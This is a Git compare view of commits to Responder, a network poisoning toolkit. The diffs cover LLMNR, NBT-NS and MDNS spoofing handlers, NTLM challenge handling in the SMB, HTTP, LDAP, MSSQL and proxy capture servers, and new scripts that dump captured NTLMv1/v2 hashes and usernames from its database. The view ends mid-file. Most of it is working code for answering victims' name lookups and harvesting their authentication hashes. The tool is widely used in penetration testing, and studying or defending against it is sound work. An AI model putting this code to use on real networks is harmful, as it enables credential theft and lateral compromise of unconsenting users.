Compare commits

..

32 Commits

Author SHA1 Message Date
lgandx
2a80c7ed9c MultiRelay 2.0 Release 2017-03-29 13:28:31 -03:00
lgandx
b05bdcab96 Removed Paypal donation link. 2017-03-15 19:15:46 -03:00
lgandx
6f3cc4564c Fixed bug in FindSMB2UPTime 2017-03-08 00:01:38 +01:00
lgandx
2b322b227e minor fix 2017-02-18 20:57:36 +01:00
lgandx
9440cb3e30 Merge branch 'master' of https://github.com/lgandx/Responder 2017-02-18 20:40:01 +01:00
lgandx
21d48be98f Added: Hashdump, Stats report 2017-02-18 20:38:40 +01:00
lgandx
c9609bd8c6 Merge pull request #25 from joshuaskorich/master
added `ip` commands in addition to ifconfig and netstat
2017-02-10 22:03:46 +01:00
lgandx
0642999741 fixed crash: typo. 2017-02-10 18:18:23 +01:00
lgandx
5f59f2934e Merge pull request #33 from skelsec/master
Fixing HTTP header issue
2017-02-09 22:40:28 +01:00
skelsec
225857b6ed cleaning up comments 2017-02-06 10:48:23 -08:00
skelsec
2c32704b85 SimpleSSL 2017-02-06 09:42:35 -08:00
skelsec
0e3e6f9745 making HTTP great again 2017-02-06 09:21:44 -08:00
lgandx
0ede767d95 Merge pull request #32 from Gifts/fix_randchallenge
Fix for RandomChallenge function.
2017-02-01 22:32:13 +01:00
Gifts
de6e869a79 Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string 2017-02-01 16:55:15 +03:00
lgandx
cf654ee178 Merge pull request #28 from kithack/master
Fix Proxy_Auth. Random challenge broke it.
2017-01-19 22:31:52 +01:00
Timon Hackenjos
5a2ee18bfa Fix Proxy_Auth. Random challenge broke it. 2017-01-19 17:46:21 +01:00
thejosko
db61f243c9 added ip commands in addition to ifconfig and netstat 2017-01-11 17:35:08 -06:00
lgandx
0d441d1899 Added: Random challenge for each requests (default) 2017-01-03 17:40:38 -03:00
lgandx
1d38cd39af Added: Random challenge for each requests (default) 2017-01-03 17:35:49 -03:00
lgandx
17dc81cb68 Added paypal button 2016-12-21 11:53:33 -03:00
lgandx
ab2d8907f0 Added: Scripting support. -c and -d command line switch 2016-11-18 11:55:16 -03:00
lgandx
730808c83c Added: BTC donation address 2016-11-12 12:28:13 -03:00
lgandx
b455ff406f re-fixed Typo 2016-11-10 14:28:16 -03:00
lgandx
aff17ca9d3 MultiRelay now executes WMIC commands instead of bat files 2016-11-10 14:24:54 -03:00
lgandx
62d7dc4080 Merge pull request #18 from trustedsec/patch-1
Update RelayMultiCore.py
2016-11-10 10:57:18 -03:00
trustedsec
cad3adc319 Update RelayMultiCore.py
Minor typo fixes, nothing major.
2016-11-10 14:13:13 +01:00
lgandx
fc2aadca6e Minor fix 2016-11-09 14:12:37 -03:00
lgandx
90071187cd Merge pull request #17 from leonjza/master
Check if the platform is macOS before setting TCP_KEEPIDLE
2016-11-02 11:18:10 -03:00
Leon Jacobs
bcac8c4166 Check if the platform is macOS before trying to set a non-exported
TCP_KEEPIDLE option
2016-11-02 09:25:37 +02:00
lgandx
4a7499df03 Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. 2016-10-20 23:43:34 -03:00
lgandx
581d7e6849 Merge pull request #14 from nvssks/master
Patch for Android 4.x terminals that are missing some linux commands
2016-10-20 01:03:10 -03:00
Nikos Vassakis
f321c1bbcc Patch for Android 4.x terminals that are missing some linux commands 2016-10-19 18:24:12 +01:00
27 changed files with 1815 additions and 319 deletions

49
DumpHash.py Executable file
View File

@@ -0,0 +1,49 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
def DumpHashToFile(outfile, data):
with open(outfile,"w") as dump:
dump.write(data)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
cursor = DbConnect()
print "Dumping NTLMV2 hashes:"
v2 = GetResponderCompleteNTLMv2Hash(cursor)
DumpHashToFile("DumpNTLMv2.txt", v2)
print v2
print "\nDumping NTLMv1 hashes:"
v1 = GetResponderCompleteNTLMv1Hash(cursor)
DumpHashToFile("DumpNTLMv1.txt", v1)
print v1

View File

@@ -162,7 +162,11 @@ Options:
-v, --verbose Increase verbosity.
## Donation ##
You can contribute to this project by donating to the following BTC address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
## Copyright ##
@@ -170,7 +174,9 @@ Options:
NBT-NS/LLMNR Responder
Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
email: laurent.gaffie@gmail.com
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or

95
Report.py Executable file
View File

@@ -0,0 +1,95 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
import os
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
if os.name == 'nt': # No colors for windows...
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
for row in res.fetchall():
print('User account: {0}'.format(row[0]))
def GetResponderUsernamesWithDetails(cursor):
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
for row in res.fetchall():
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
def GetResponderCompleteHash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
for row in res.fetchall():
print('{0}'.format(row[0]))
def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
if not k in result:
result[k] = ''
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
cursor = DbConnect()
print color("[+] Generating report...", code = 3, modifier = 1)
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
GetResponderUsernames(cursor)
print color("\n[+] Username details:", code = 2, modifier = 1)
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)

View File

@@ -13,8 +13,9 @@ HTTPS = On
DNS = On
LDAP = On
; Custom challenge
Challenge = 1122334455667788
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
; SQLite Database file
; Delete this file to re-capture previously captured hashes

View File

@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
#Create the DB, before we start Responder.
CreateResponderDb()
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
@@ -238,8 +241,8 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
if settings.Config.SSL_On_Off:
from servers.HTTP import HTTPS
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy

View File

@@ -1597,4 +1597,39 @@ class SMB2Session2Data(Packet):
])
######################FindSMBTime.py##########################
class SMBHeaderReq(Packet):
fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"),
("Cmd", "\x72"),
("Error-Code", "\x00\x00\x00\x00" ),
("Flag1", "\x10"),
("Flag2", "\x00\x00"),
("Pidhigh", "\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("TID", "\x00\x00"),
("PID", "\xff\xfe"),
("UID", "\x00\x00"),
("MID", "\x00\x00"),
])
class SMB2NegoReq(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMB2NegoDataReq(Packet):
fields = OrderedDict([
("StrType","\x02" ),
("dialect", "NT LM 0.12\x00"),
("StrType1","\x02"),
("dialect1", "SMB 2.002\x00"),
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
])

View File

@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View File

@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

View File

@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer = NBT_Ans()
Buffer.calculate(data)
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View File

@@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client, module):
def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@@ -42,7 +42,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({
'module': module,
'type': 'NTLMv1',
@@ -61,7 +61,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
SaveToDb({
'module': module,
@@ -173,7 +173,7 @@ def GrabURL(data, host):
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
# Handle HTTP packet sequence.
def PacketSequence(data, client):
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
@@ -192,13 +192,14 @@ def PacketSequence(data, client):
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
print "Challenge 2:", Challenge.encode('hex')
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans()
@@ -211,7 +212,7 @@ def PacketSequence(data, client):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, client, module)
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
@@ -265,44 +266,47 @@ class HTTP(BaseRequestHandler):
def handle(self):
try:
for x in range(2):
Challenge = RandomChallenge()
while True:
self.request.settimeout(3)
data = self.request.recv(8092)
remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = self.request.recv(8092)
if buff == '':
break
data += buff
remaining -= len(buff)
if remaining <= 0:
break
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
#now the data variable has the full request
Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer)
self.request.close()
self.request.close()
if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer)
except socket.error:
pass
# HTTPS Server class
class HTTPS(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.exchange.send(Buffer)
except:
pass

View File

@@ -47,7 +47,7 @@ def ParseLDAPHash(data, client):
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
SaveToDb({
'module': 'LDAP',
@@ -61,15 +61,15 @@ def ParseLDAPHash(data, client):
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
def ParseNTLM(data,client, Challenge):
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
NTLMChall.calculate()
return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client):
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
@@ -96,7 +96,7 @@ def ParseLDAPPacket(data, client):
})
if sasl == "\xA3":
Buffer = ParseNTLM(data,client)
Buffer = ParseNTLM(data,client, Challenge)
return Buffer
elif Operation == "\x63":
@@ -111,7 +111,8 @@ class LDAP(BaseRequestHandler):
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
Buffer = ParseLDAPPacket(data,self.client_address[0])
Challenge = RandomChallenge()
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
self.request.send(Buffer)

View File

@@ -52,7 +52,7 @@ class TDS_Login_Packet:
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client):
def ParseSQLHash(data, client, Challenge):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
@@ -72,7 +72,7 @@ def ParseSQLHash(data, client):
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({
'module': 'MSSQL',
@@ -84,7 +84,7 @@ def ParseSQLHash(data, client):
})
if NthashLen > 60:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
SaveToDb({
'module': 'MSSQL',
@@ -126,7 +126,7 @@ class MSSQL(BaseRequestHandler):
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
Challenge = RandomChallenge()
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
@@ -135,7 +135,7 @@ class MSSQL(BaseRequestHandler):
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)

View File

@@ -47,7 +47,7 @@ def GrabHost(data):
return Host
return False
def PacketSequence(data, client):
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth:
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
if settings.Config.Verbose:
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans)
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
def handle(self):
try:
Challenge = RandomChallenge()
for x in range(2):
data = self.request.recv(4096)
self.request.send(PacketSequence(data, self.client_address[0]))
self.request.send(PacketSequence(data, self.client_address[0], Challenge))
except:
pass

View File

@@ -88,7 +88,7 @@ def GrabSessionID(data):
SessionID = data[44:52]
return SessionID
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
@@ -105,7 +105,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
SaveToDb({
'module': 'SMB',
@@ -124,7 +124,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMB',
@@ -136,7 +136,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
})
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
@@ -151,7 +151,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
@@ -161,7 +161,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
@@ -171,7 +171,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
SaveToDb({
'module': 'SMB',
@@ -185,7 +185,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
SaveToDb({
'module': 'SMB',
@@ -221,6 +221,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
Challenge = RandomChallenge()
if not data:
break
@@ -233,7 +234,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
except:
pass
##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
@@ -255,7 +255,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
@@ -263,7 +263,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0])
ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
@@ -289,9 +289,9 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else:
